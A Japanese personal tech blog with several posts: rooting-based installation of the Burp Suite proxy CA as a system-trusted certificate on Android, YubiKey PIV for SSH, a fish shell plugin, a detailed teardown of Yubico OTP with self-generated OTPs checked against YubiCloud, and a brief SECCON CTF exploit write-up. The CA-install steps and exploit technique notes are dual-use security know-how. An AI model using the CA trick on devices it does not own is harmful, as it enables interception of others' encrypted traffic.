試運転ブログ

コーラは一日一本まで

AndroidのプレインストールされたCAにCAを追加する

Android 7以降からCAの扱いが代わり、デフォルトではユーザが追加したカスタムのCAはアプリ毎に設定を書かないと信頼されなった。 システムにプレインストールされたCAは制限することも可能だが、基本的には信頼されている。 以下は、Root化された端末にプレインストールされたCAとして、カスタムのCAを追加する手順メモです(プレとは?)。

android-developers.googleblog.com

自己責任&悪用厳禁でお願いします。

環境

・検証環境

OS: LineageOS 14.1
Android version: 7.1.2
Device model: Nexus7

追加するのはProxyツールのBurp Suiteの証明書。

❯ openssl x509 -inform DER -in cacert.der -text -noout 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1402072607 (0x5391ee1f)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Validity
            Not Before: Jun  6 16:36:47 2014 GMT
            Not After : Jun  6 16:36:47 2037 GMT
        Subject: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:a2:43:8d:b6:91:10:bc:f9:ea:d9:d3:0c:39:d5:
                    34:11:dd:ed:d6:0e:76:41:57:85:b0:0d:c6:26:60:
                    2b:1d:a3:2a:d6:b1:f6:58:fe:3d:9a:70:91:fd:4e:
                    99:61:84:14:46:3f:22:f4:4e:8a:01:c2:3d:36:1a:
                    50:2b:17:84:0d:1d:53:8f:ff:ed:15:86:77:4d:6c:
                    80:c2:3c:12:46:5f:18:08:f9:53:f5:ff:f6:55:2b:
                    09:96:bd:a3:e9:11:d5:0f:fd:11:15:37:28:17:d8:
                    fa:6a:bb:cc:50:65:13:fa:15:99:10:77:06:12:02:
                    01:a4:ea:9c:3c:86:e2:00:6c:71:c6:a9:6c:88:17:
                    5e:2e:f9:29:2c:97:94:4b:94:7c:23:94:78:bf:23:
                    18:18:a3:29:56:9f:5a:90:e1:a3:8f:2d:48:e9:fb:
                    11:ac:f9:80:ce:cf:80:a4:37:89:1a:1f:4c:96:fa:
                    77:d7:fa:da:69:f4:ac:f6:01:16:ea:29:25:4f:50:
                    16:cc:fe:10:f2:70:de:77:f2:e7:96:6c:00:3e:6e:
                    37:b9:59:d8:8c:cc:62:da:74:10:b6:6e:a1:df:c5:
                    d6:3d:85:9d:6b:66:4c:d9:db:4b:c2:87:80:57:c2:
                    1f:80:44:89:04:8a:61:87:c6:69:1f:00:e6:37:0f:
                    7b:d1
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: critical
                CA:TRUE, pathlen:0
            X509v3 Subject Key Identifier:
                34:98:2B:45:74:9A:D6:56:55:64:CE:DA:62:FD:45:0C:4C:3A:D3:57
    Signature Algorithm: sha256WithRSAEncryption
        9e:2a:ad:2b:26:cf:80:ec:b5:1d:c5:95:05:9e:81:3c:69:4e:
        3f:45:f8:ed:32:ce:ae:a3:b6:a3:33:5b:30:49:bd:87:07:32:
        be:e5:5a:12:0d:9b:31:38:95:3d:6a:33:cc:04:f7:eb:92:70:
        76:ea:e7:f4:5c:8e:2d:b6:d1:28:15:0d:27:00:69:fe:3c:e9:
        76:26:e6:b1:f8:14:94:51:80:1e:2a:a1:ab:fa:9b:e1:f3:b6:
        c3:38:0b:43:82:3f:31:9b:fa:50:a5:e2:26:4b:6b:2f:6a:4c:
        9f:c6:4b:07:06:fb:ed:65:6e:78:35:77:17:28:35:00:73:77:
        7f:f2:c8:1e:3b:f6:39:00:c2:bd:f3:38:c8:e3:20:8e:ce:ab:
        3c:d6:ce:d6:ea:4e:01:af:32:42:62:e2:e2:a6:3b:3d:0e:7d:
        93:bb:ee:ab:02:f6:09:54:d7:aa:06:69:87:77:c2:0b:5c:94:
        bf:56:83:e4:09:2f:af:aa:92:3c:42:6b:39:3f:a9:97:55:c1:
        08:37:b3:05:d9:70:de:fa:86:fc:b3:0c:89:31:49:20:1b:83:
        e2:8f:cc:e9:9d:d4:76:40:63:9f:08:de:a9:d8:27:1c:cb:59:
        de:ec:84:a0:fa:e9:e5:3f:07:c6:a2:ab:96:a0:34:dc:25:e6:
        25:19:85:01

カスタムCAの用意

subject_hashの値をとる。

❯ openssl version
OpenSSL 0.9.8zh 14 Jan 2016
❯ openssl x509 -noout -subject_hash -in cacert.der -inform DER
9a5ba575

OpenSSLのバージョンが1.0.0以降の場合は、 -subject_hash ではなく、 -subject_hash_old を使うらしい。

PEMフォーマットに変換し、ファイル名を(subject_hashの値 + .0 )で保存する。

❯ openssl x509 -inform DER -in cacert.der -outform PEM > 9a5ba575.0

AndroidにカスタムCAを追加する

AndroidのプレインストールされたCAは、 /system/etc/security/cacerts に置かれている。ただここに置けば良い。

ただし、最初は /system はread onlyでマウントされているので注意する。

❯ adb push ./9a5ba575.0 /data/local/tmp
[100%] /data/local/tmp/9a5ba575.0

❯ adb shell
flo:/ $ su
flo:/ # mount -o rw,remount /system
flo:/ #mv /data/local/tmp/9a5ba575.0 /system/etc/security/cacerts/

設定 → セキュリティ → 信頼できる認証情報 から確認できる。 再起動した方が良いという情報もあったが、手元の環境では再起動しなくても追加され使用できた。

フィアル名がsubject_hashと異なる値でもUI上には表示されるが参照されないようだった。

まとめ

Burpのルート証明書Androidのプレインストールされているフォーマットやファイル名を合わせてインストールした。

開発者がこのようなCAを拒否したい場合は、ネットワーク セキュリティ構成機能を使いプレインストールされたCAに対しても制限がかけることができる。 developer.android.com

YubikeyのPIVを使ってsshしてみる

YubikeyのPIVが気になったのでsshでの使い方を試してみたメモ。 PIV自体については何もわからない。

Yubikeyとはこんな感じのもの。

f:id:otameshi61:20161230002407j:plain

Yubikey PIV Manager をここから落とす。

https://developers.yubico.com/yubikey-piv-manager/Releases/

webサイトでは、以下のコマンドラインツールを使って説明される。

github.com

ただし、macOS上では(たぶん他のOSでも)、ビルドが非常に面倒(./configureが成功してからが勝負)で、ビルドできたとしてもwebサイト通り使っても動作しないため、今回は使わない。 とはいえ、コマンドラインからしか指定できないオプションもあるため、なんとかはしたい。

現時点でのPIVに対する認識は、PKCS#11 で定義されたインターフェースを通じてデバイス内の秘密鍵(今回はYubikey内の秘密鍵)へアクセスし、認証を行うやつ、くらいです。

ここら辺を読むとPIVのプロになれるっぽい。

csrc.nist.gov

秘密鍵を生成する

PIV Manager → Certificates を選ぶ。

f:id:otameshi61:20170521132803p:plain

Authentication → Generate new key…

f:id:otameshi61:20170521132934p:plain

設定してOKをする

f:id:otameshi61:20170521133322p:plain

PIN(6〜8桁の文字)を入力する。

f:id:otameshi61:20170521133237p:plain

これでYubikeyの設定完了。

f:id:otameshi61:20170521133815p:plain

Export certificate… と Delete certifiacte… が選択できるようになる。

Exportした証明書をみてみるとこんな感じ。

❯ openssl x509 -in yubikey_piv.pem  -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            cd:6f:bb:37:07:b4:d0:7f
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=saso
        Validity
            Not Before: May 21 04:36:59 2017 GMT
            Not After : May 21 04:36:59 2018 GMT
        Subject: CN=saso
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:95:6c:78:ac:c5:56:73:bb:73:9b:c8:fa:04:2f:
                    32:ad:95:1a:96:ae:4e:41:5a:8d:09:6a:c9:d9:0e:
                    fb:2f:37:fc:9e:81:ac:91:59:9d:59:52:92:d4:d9:
                    d2:38:96:a9:3d:ed:88:ad:ee:a3:fd:a4:84:de:71:
                    7f:ee:65:50:75:32:72:aa:75:c2:ca:95:2c:9e:a5:
                    ca:4c:cd:0b:3b:0b:d1:f9:58:00:5d:aa:ce:ec:30:
                    4b:42:57:f0:ec:92:34:9b:67:96:f5:8d:79:13:8b:
                    c9:bf:2e:a5:8c:99:58:34:43:15:8a:3b:76:88:45:
                    b0:8f:da:52:bc:8c:73:fb:1c:cd:05:47:34:6a:bb:
                    47:09:e9:8a:a4:cf:bb:58:ae:a7:60:3b:1c:cc:93:
                    98:fd:b3:9c:67:ee:44:0d:ce:dc:6e:c4:31:fe:c7:
                    c7:98:dc:9b:e2:e0:b5:88:da:2e:e5:20:3f:73:c5:
                    2d:b4:7b:86:71:d1:81:8b:9e:83:04:46:ad:84:83:
                    5e:41:53:75:ae:29:b2:b7:5a:33:22:0c:bf:fa:8d:
                    a2:ae:52:05:ae:e2:55:7c:4b:ee:41:38:e8:48:19:
                    7c:67:c0:09:45:21:b5:ab:c0:aa:33:44:c0:28:4d:
                    6e:36:53:2a:e0:5e:af:5b:b3:d6:63:9a:84:7a:39:
                    2a:2d
                Exponent: 65537 (0x10001)

PIVを使ってsshする

Yubikey内の秘密鍵へアクセスするためには、OpenSCというオープンソースPKCS#11の実装を使う。

github.com

以下のコマンドで公開鍵を読み出せる。

❯ ssh-keygen -D /usr/local/opt/opensc/lib/opensc-pkcs11.so -e
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVbHisxVZzu3ObyPoELzKtlRqWrk5BWo0JasnZDvsvN/yegayRWZ1ZUpLU2dI4lqk97Yit7qP9pITecX/uZVB1MnKqdcLKlSyepcpMzQs7C9H5WABdqs7sMEtCV/DskjSbZ5b1jXkTi8m/LqWMmVg0QxWKO3aIRbCP2lK8jHP7HM0FRzRqu0cJ6Yqkz7tYrqdgOxzMk5j9s5xn7kQNztxuxDH+x8eY3Jvi4LWI2i7lID9zxS20e4Zx0YGLnoMERq2Eg15BU3WuKbK3WjMiDL/6jaKuUgWu4lV8S+5BOOhIGXxnwAlFIbWrwKozRMAoTW42UyrgXq9bs9ZjmoR6OSot

公開鍵をログインしたい.ssh/authrorized_keysに追加する。

❯ ssh -I /usr/local/opt/opensc/lib/opensc-pkcs11.so test@ub.local
Enter PIN for 'PIV_II (PIV Card Holder pin)':

Last login: Sun May 21 13:06:18 2017 from 192.168.56.1
test@ubuntu:~$

PINを入力することでログインできる。

まとめ

YubikeyがサポートしているPIVを使って見た。

GUIでぽちぽちやってるだけで、基本的な設定が可能で、秘密鍵を安全に管理可能なのはよさそう。 また、sshで使うために特別大変な手順もなくて良い。

PINの入力を無くし、Yubikeyのタッチに変えられるらしいし試したい。

一部で話題のkryptcoも同様の仕組みを使っているし、何か違いがあるのか比較してみたい。 kryptcoは、以下に詳しく説明されている。 qiita.com

劇的にコマンドライン環境が快適になるpetのfishサポートをした話

前に使ったコマンドを実行したいとき、どうしてますか?

普段はfishを使ってるのですが、前に実行したコマンドを再度実行したい場合は、 peco_select_historyctrl+r で呼び出すようにしています。 そもそも、fishの補完が優秀なので使うまでもないことは多いです。

bashzshを使うときは組み込みの ctrl+r を使っていました。

慣れていれば、特に困りもしないのですが、pet という便利なスニペット管理ツールを使いはじめるとかなりコマンドライン環境が快適になりました!

macOSならbrewで簡単にはいります。

$ brew install knqyf263/pet/pet

基本的な使い方は、ツール作成者(Teppei Fukudaさん)のブログを見てください。

qiita.com

特に困ってなかったので、入れるかどうかも悩んでたんですが、READMEに書いてあるshellの設定をしてから見方がだいぶ変わりました。 ただし、READMEのzshの設定ではfishで動かなかったため、fisheroh-my-fish を使って設定できるようにしました。プラグイン管理ツールを使ってない人は雰囲気で ~/.config/fish/functions/スクリプト置けば動くと思います。

※ 現在は、以下の方法をpetのREADMEでも紹介してもらってます!ありがとうございます!

github.com

fisher を使うと、以下のコマンドでインストールできます。

$ fisher otms61/fish-pet

oh-my-fish を使っている場合は、以下のコマンドでインストールできます。

$ omf install https://github.com/otms61/fish-pet

コマンドラインで、 prevpet-select が使えるようになります。

fish_user_key_bindings を以下のように設定(layoutオプションはお好みで)すると、 ctrl+s で、 pet-select を呼び出すようにできます。

function fish_user_key_bindings
  bind \cs 'pet-select  --layout=bottom-up'
end

fishユーザの方は、ぜひ!

二要素認証に使われてるYubico OTP の仕組み

2要素認証に利用できるデバイスに、Yubico社が提供するYubikeyというものがあります。

f:id:otameshi61:20161230002407j:plain

Yubikeyでは様々な機能を使えますが、初期状態で利用できるものにYubico OTP(One-Time password)があります。 Yubico OTPは、非常に安全な仕組みだと思いますが、公式ドキュメントがやや分かりづらいこともあり書きました。

Yubico OTPとは

Yubico OTP は、Yubicoが定めるOTP(One-Time Password)の形式であり、Yubikeyから正常に生成されたOTPかどうかを検証することができます。

このOTPを「私が所持するYubikeyから生成されたものかどうか」を検証することで、二要素認証の要素として利用できます。 sshログインで二要素認証にYubico OTPの使い方は、他の方が書かれているので興味のある方は検索してみてください。

Yubikeyは、USBキーボードとして認識され、円の部分をタップすることでYubico OTPを生成し、キー入力されます。

f:id:otameshi61:20161230002451g:plain

OTP(One-Time Password)という名前からもわかる通り毎回生成される文字列が異なります。 例えば、2回生成をすると、以下のような文字列が生成されます。

vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif
vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji

異なる文字列が生成されていることがわかるかと思います。

Yubico OTPの検証サーバー

OTPが、Yubikeyから生成されたのか、でたらめな文字列なのかを検証する仕組みがYubico社から提供されています(YubiCloud)。 下図は、password + Yubikeyの2要素認証を行するフローで、青色の部分でOTPをYubiCloudに問い合わせています。

1要素目のpasswordが検証されたあとに、OTPの検証をしていることがわかるかと思います。この2つの要素の認証が両方成功して、この認証は成功になるという流れです。

f:id:otameshi61:20161230002515p:plain https://developers.yubico.com/OTP/Libraries/Using_a_library.html

YubiCloudはOTPが正しいかどうかを検証するだけで、Yubikeyとユーザとの紐付けはServer側の責任となります。 Yubico OTPでは、どのYubikeyから生成されてるいるのか判別出来るように、public IDというYubikey毎に固定の値が先頭につきます。

OTPが「私が所持するYubikeyから生成されたものかどうか」は、

  1. サーバ側で、Yubikeyのpublic IDとユーザーの登録したpublic IDが正しいか
  2. YubiCloudによるOTPの検証結果

から分かります。

Modhex形式

ここからは、生成されたOTPについて説明していきます。

Yubico OTPは、16進数をModhex方式(Yubico社が定めたエンコーディング方式)で別の文字に置換されています。

YubikeyはUSBキーボードとして認識されるので、PCに設定されているキーボード設定によっては、入力がぶれてしまうことがあるそうです。 Modhex形式では、様々なキーボードでのぶれが起きにくい文字が使われているそうです。

16進数 0 1 2 3 4 5 6 7 8 9 a b c d e f
Modhex c b d e f g h i j k l n r t u v

Modhex形式を16進数に戻すコードは以下のようになります。

d = {'b': '1', 'c': '0', 'd': '2', 'e': '3', 'f': '4', 'g': '5', 'h': '6', 'i': '7', 'j': '8', 'k': '9', 'l': 'a', 'n': 'b', 'r': 'c', 't': 'd', 'u': 'e', 'v': 'f'}

def modhex2hex(x):
  return ''.join([d[i] for i in x])

この関数でOTPを16進数に変換するとこのようになります。

>>> print(modhex2hex('vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif'))
fff5edf7b76583abac0d5cfe9c916d1cccde525b2074

>>> print(modhex2hex('vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji'))
fff5edf7b7658c0b9594a3c456429787e2fadddebd87

馴染みのある16進数の表現になりましたね。 これ以降のOTPは16進数に変換後の値を使います。

public IDと暗号文

Yubico OTPは44文字の文字列で、public ID(先頭12文字)と暗号文(残り32文字)からなります。正確にはpublic IDの長さは設定で変えられますが、YubiCloudで使えるYubico OTPに話を限定します。

public IDは、OTPの中で固定の値です。 設定で変更できますが、工場出荷状態で使える設定では、必ずユニークな値となっています。

暗号文には、OTPがYubikeyから生成されたものかを検証するための情報が含まれています。

先ほどの同じYubikeyから生成した2つのOTP

  • fff5edf7b76583abac0d5cfe9c916d1cccde525b2074
  • fff5edf7b7658c0b9594a3c456429787e2fadddebd87

をpublic ID と 暗号文に分けると以下のようになります。

public ID 暗号文
fff5edf7b765 83abac0d5cfe9c916d1cccde525b2074
fff5edf7b765 8c0b9594a3c456429787e2fadddebd87

public IDが同じで、暗号文は変わっていることがわかります。

暗号化方式とその鍵

暗号化にはAES-128が使われています。

鍵はYubikey内と検証サーバー(YubiCloud)に保存されています。 YubiCloudでは、public IDから鍵を取り出し復号します。

工場出荷時に、YubiCloudへpublic IDと鍵の登録はされているので、Yubico OTPはすぐに使うことができるというわけです。

また、Yubikeyは設定に対して、書き込みを行うためのインターフェースしか用意されておらず、読み込みができないため、鍵はYubico OTP設定時にのみ分かるようになっています。

初期状態では工場でYubico OTPの設定がされているので、購入者も鍵を知ることができません。 Yubikeyの利用者は、鍵を知らずに(知ることが出来ずに)OTPを生成し、Yubico OTPという仕組みを使用することができます。

鍵の情報漏洩を心配しなくて良いのはYubikeyなどのデバイスを通した認証の良いところですね。 鍵の入ったデバイスが盗まれてしまったら元も子もないですが、public IDに紐づく情報を無効化することで被害を抑えられます。

暗号文の中身

暗号文の中身で、検証に重要な値として、

  • private ID
  • Counter

があります。

private IDは、鍵と同様に、工場で設定されYubiCloudに登録されている値です。 public IDは公開情報なので、他人のpublic IDになりすまそうとすることができますが、暗号文内のpublic IDに紐づいているprivate IDの値は分からないため、なりすましを防ぐことができます。

Counterは、YubikeyでOTPを生成する毎にカウントアップされる値です。YubiCloudでは、最後に検証したCounterを保持されており、入力されたOTPのカウンターと最後に使用したカウンターの値を比較することで、使い回しなどを防ぐことができます。 また、過去に生成したOTPが漏洩してしまったとしても、そのあとに生成したOTPを使用することで簡単に漏洩したOTPを使用できなくすることができます。

結局、YubiCloudでは、暗号文を復号し、

  1. private IDが正しいか
  2. Counterの値が新しいか

を検証します。

以下は、Yubicoのサイトに記載されている検証の流れを示した図です。

f:id:otameshi61:20161230002549p:plain https://developers.yubico.com/OTP/OTPs_Explained.html

ここまでの、まとめ

  • Yubico OTPは、YubiCloudによって検証できる
  • 暗号部分はAESで暗号化されており、購入者も鍵を知ることができないので、鍵の漏洩を心配しなくて良い
  • 暗号化された情報で改ざん防止や使い回しの防止がされている

暗号文の中身

ここからは、暗号文の中身を見ていくことで、Yubico OTPの詳細な仕様を見ていこうと思います。

暗号文の中身は16バイトで以下の値が入っています。

field名 バイト数
uid 6 private(secret) ID
useCtr 2 Usage counter
tstp 3 Timestamp
sessionCtr 1 Session usage counter
rnd 2 Random number
crc 2 CRC16 checksum

https://mowa-net.jp/wiki/YubiKey#Yubico_OTP.2BMG5O1WnY-

  • uid: public IDと1対1で対応したID。private ID。
  • useCtr: USBを抜き差しするとカウントアップされる不揮発な値。
  • tstp: デバイス起動時からカウントされる8Hzのタイマーの値。
  • sessionCtr: 揮発性の値で、USBが差さっている間に、Yubico OTPを生成するとカウントされる。
  • rnd: 乱数。
  • crc: 16bit ISO13239 1st complement checksum だそうです。チェックサム

カウンターの上限について

Yubico OTPのカウンターは、不揮発性のuseCtrと揮発性のsessionCtrの2つあります。

最後に使用したuseCtrより大きければOK、小さければNGです。useCtrが同じ場合は、sessionCtrが大きければOK、同じか小さければNGとなっています。

sessionCtrは、1バイトなので256回タップすると上限に達します。次のタップでは、useCtrがカウントアップし、sessionCtrは0になります(確認済み)。

useCtrは、2バイトなので、65535まで値を保持できます。sessionCtr 1日10回抜き差しすると大体17年くらい使える感じです。 上限に達する前に(かなり丈夫に作られてるとはいえ)壊れてしまいそうですが、上限に達したらもう一度設定し直すしかないらしいです。

Yubikey Personalization tools

暗号文の詳細を追ってくために、実際に暗号文を復号してみたいと思います。

Yubikey Personalization tools というYubikeyの設定ツールがあります。 これを使うとYubico OTPの設定を変えることができ、public ID、private IDと鍵を知ることができます。

s_Screen Shot 2016-11-20 at 14.50.54.png

新しく生成したpublic IDとprivate IDと鍵のペアをYubiCloudにアップロードすることで、Yubico OTPが使えるようになります。

自分で生成したものは先頭がvvとなり、工場で生成されたものはccから始まるよう決められており、自分で生成したものかはpublic IDから判別することが可能です。

暗号文の実際の値

鍵が a9 e2 29 33 2e 87 0f 26 1e a5 5a 2a bd ef da e0 に設定されたYubico OTPの中身を見て行きたいと思います。

以下が、復号や暗号化するコードです。

gist.github.com

以下の5つのOTPを復号してみようと思います。

vvntibfekfkkuvrvubtictldndbenurgrgbukhkutild
vvntibfekfkkcgfeljervjjcejvjkvttthndftrtbdrf
vvntibfekfkkbnkhcdiuhbbbflbuitdnecbkbnlkchgv
vvntibfekfkkbevrttebkucvbdrntikdicluudifdgil
vvntibfekfkkjfvttcrfvdkrrrvdidrrrdlcdefvhege

結果は、

$ python Yubico.py
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:f011a4 sessionCtr:00 rnd:adfd crc:7855 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:fe11a4 sessionCtr:01 rnd:cd73 crc:1308 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:1312a4 sessionCtr:02 rnd:d3dd crc:1599 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:5bd808 sessionCtr:00 rnd:f2d7 crc:ae1f >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:7fd808 sessionCtr:01 rnd:7326 crc:121d >

このようになります。 最初の3個は、同じuseCtrで、sessionCtrがカウントアップされていることがわかります。 4個目のYubico OTPを生成する前に、Yubikeyを抜き差ししました。4個目のuseCtrが2になり、sessionCtrが0に戻っていることが分かります。

checksumの計算

自分でOTPを計算していきたいと思います。

crcは、それ以外のfieldの値を使ってchecksumを計算します。 マニュアルに載っているコードは、一部間違っているようでしたので注意が必要です。

以下のコードが、チェックサムの計算と検証するコードです。

def update_crc(crc, x):
    crc ^= x
    for _ in range(8):
        flag = crc & 1
        crc >>= 1
        if flag != 0:
            crc ^= 0x8408
    return crc & 0xffff


def get_crc(s):
    assert len(s) == 14, "Invalid length"
    crc = 0x5af0
    for i in s:
        crc = update_crc(crc, i)
    return crc
    

def verify_crc(s):
    assert len(s) == 16, "Invalid length"
    crc = 0xffff
    for i in s:
        crc = update_crc(crc, i)
    return crc == 0xf0b8

YubiCloudで検証

YubikeyによるYubico OTPの生成をみてきましたが、これらの情報が検証サーバ(YubiCloud)で正しく検証されるか見ていきたいと思います。

Validation Protocol に書かれていますが、

http://api.yubico.com/wsapi/2.0/verify?otp=vvvvvvcucrlcietctckflvnncdgckubflugerlnr&id=87&timeout=8&sl=50&nonce=askjdnkajsndjkasndkjsnad

にリクエストを送ることで、OTPが正しいかを検証することができます。 OTPをotpというパラメータにセットし、それ以外のパラメータはそのままでリクエストを送ります。

YubiCloudに登録している、public IDで生成した正常なOTPを送って見ます。

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad
status=OK

status=OK から、正しいOTPであることが分かります。

同じOTPを再度、送って見ます

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_REQUEST

status=REPLAYED_REQUEST より、再送されたものであることが分かります。

その他にも、 過去のOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdficvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_OTP

一文字書き換えたOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdgicvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=BAD_OTP

となり、きちんとNGが返ってきていることが確認できます。

自分で生成したOTPを検証する

以下のpublic ID(ff39a66437d3) と private ID(065c6ad736b4)と鍵でYubiCloudに登録し、以下のOTPを検証したとします。

# vveklhhfeitehunflcgniugkjencelvjcfgjrublthei
< public_id:ff39a66437d3 private_id:065c6ad736b4 useCtr:0001 tstp:aa4865 sessionCtr:02 rnd:03cd crc:fc31 >

useCtr が1、sessionCtrが2なので、タップすればuseCtrが1、sessionCtrが3のOTPが生成されるます。 この条件で、OTPを生成し、検証してみます。

y1 = Yubico.calc_otp(key, 0xff39a66437d3, 0x065c6ad736b4, 0x01, 0x03)
print(y1.otp)  # => vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl

これを実行することで、vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl が得られます。

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが2。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
h=pNQ0bQIYZx2iBHoktz5aVjDGFvk=
t=2016-12-30T03:56:09Z0559
otp=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 自分で計算したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
h=6jnCfVVKSa0wBSlZWdZcfoIKL3k=
t=2016-12-30T04:00:39Z0699
otp=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
h=k3b7zIJOLmAflOJmwYOPzyl8wSw=
t=2016-12-30T04:00:51Z0931
otp=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

二つ目の結果から自分で生成したOTPが、検証でOKを返していることがわかります。このリクエストにより、YubiCloudのカウンターが更新され、3個目にYubickey経由で生成したOTPにも関わらず検証が失敗していることがわかります。

せっかくなのでカウンターがマックスまでいったとき、オバーフローとかして、また最初から使えないかみてみます。

# useCtr が0xffff、sessionCtrが0xff。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=gEwRfJPLZ6PTjTwnyY0lXvsgvZ4=
t=2016-12-30T04:15:05Z0073
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# useCtr が0x0、sessionCtrが0x0。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=7bNNnRVlNpH/CFPbKKF943MM1JI=
t=2016-12-30T04:15:17Z0875
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

サーバ側でオバーフローなどはしないので、やはり設定をし直すしかなさそうですね。

後半の、まとめ

  • Yubico OTPの暗号化されている中身を詳細にみてみた
  • 実際に暗号文を復号し、挙動を確かめた
  • 暗号化するコードを作り、正しく検証されるか確かめた

さいごに

Yubico OTPは、普通の使い方では鍵がもれる心配をしなくてよいためとても安全な仕組みかと思います。 公式マニュアルがややわかりにくかったのとYubicoの独自認証プロトコルなので資料がほぼなかったので書いてみました。 何かしら興味をもっていただければ幸いです。

参考

その他にもYubikeyのことが書かれた日本語のブログはお世話になりました。

もし公式ドキュメントを読みたい方は、

  • ドキュメント量は多いが整理されていないので注意する
  • 名称のブレがとにかく激しいので、ノリで理解する
    • 例えば、public ID, Yubikey Token, publicname は全部同じものを指します。

に注意してください。

どこか間違っている点や疑問点などあればコメントいただけると助かります。

SECON 2016 Online CTF

SECON 2016 Online CTFにでた。 チームは、shioshiotaで参加した。2000ptで39位だった。

24時間の健康的なCTFだった。pwn担当が一人のチームだと48時間欲しいなぁー、と思った。 僕が解いたのは、以下の4問。

  • [Exploit] cheer msg (100pt)
  • [Exploit] jmper (300pt)
  • [Exploit] checker (300pt)
  • [Binary] ropsynth (400pt)

どれも面白かったです😀

運営のみなさまありがとうございました🙏

以下、コードは汚いのと解説する気はないですが、こんな感じで解きました。

[Exploit] cheer msg (100pt)

Message Length によって、espが変わる。

Message Length に負の値を指定することができ、名前を保持しておく変数を戻りアドレスを指すように調整して、ropするだけ。

攻撃コードは、これ👇

cheer_msg.py · GitHub

[Exploit] jmper (300pt)

なんか学生を追加したり、名前つけたり、メモをかける。

メモを書くところにoff-by-oneがあり、名前の文字列を指すポインタの1バイトを書き換えられる。これを使って任意のアドレスの書き換えが可能になる。

GOT は書き換えられず、setjmp/longjmp があり、いかにもこれを使って攻撃してくれといっている感じだった。

復帰に使われる、jmp_buf構造体には、復帰のアドレスとスタックポインタがエンコードがされて保持されている。

これをsystem("/bin/sh")を実行するようにすればよいだけ。

攻撃コードは、これ👇

jmper.py · GitHub

[Exploit] checker (300pt)

メモリ上にのったフラグの文字列を読み出す問題。

jmper解いた後だったので、300点・・・?、という感じだったが、不備があって簡単になっていたらしい。

canary破壊した時に出るエラーメッセージのアレで、flag読み出す。

攻撃コードは、これ👇

checker.py · GitHub

[Binary] ropsynth (400pt)

rop のgadgetに使えるバイナリが降ってきて、そこからフラグを読み出すrop chainを送り返す問題。

5回連続で攻撃を成功させる必要があるが、各段階に難易度の変化はない。また、gadgetはちょっと面倒だが、そんな複雑ではないのでパースして組み立てるだけ。

攻撃コードは、これ👇

r.py · GitHub

以上です。

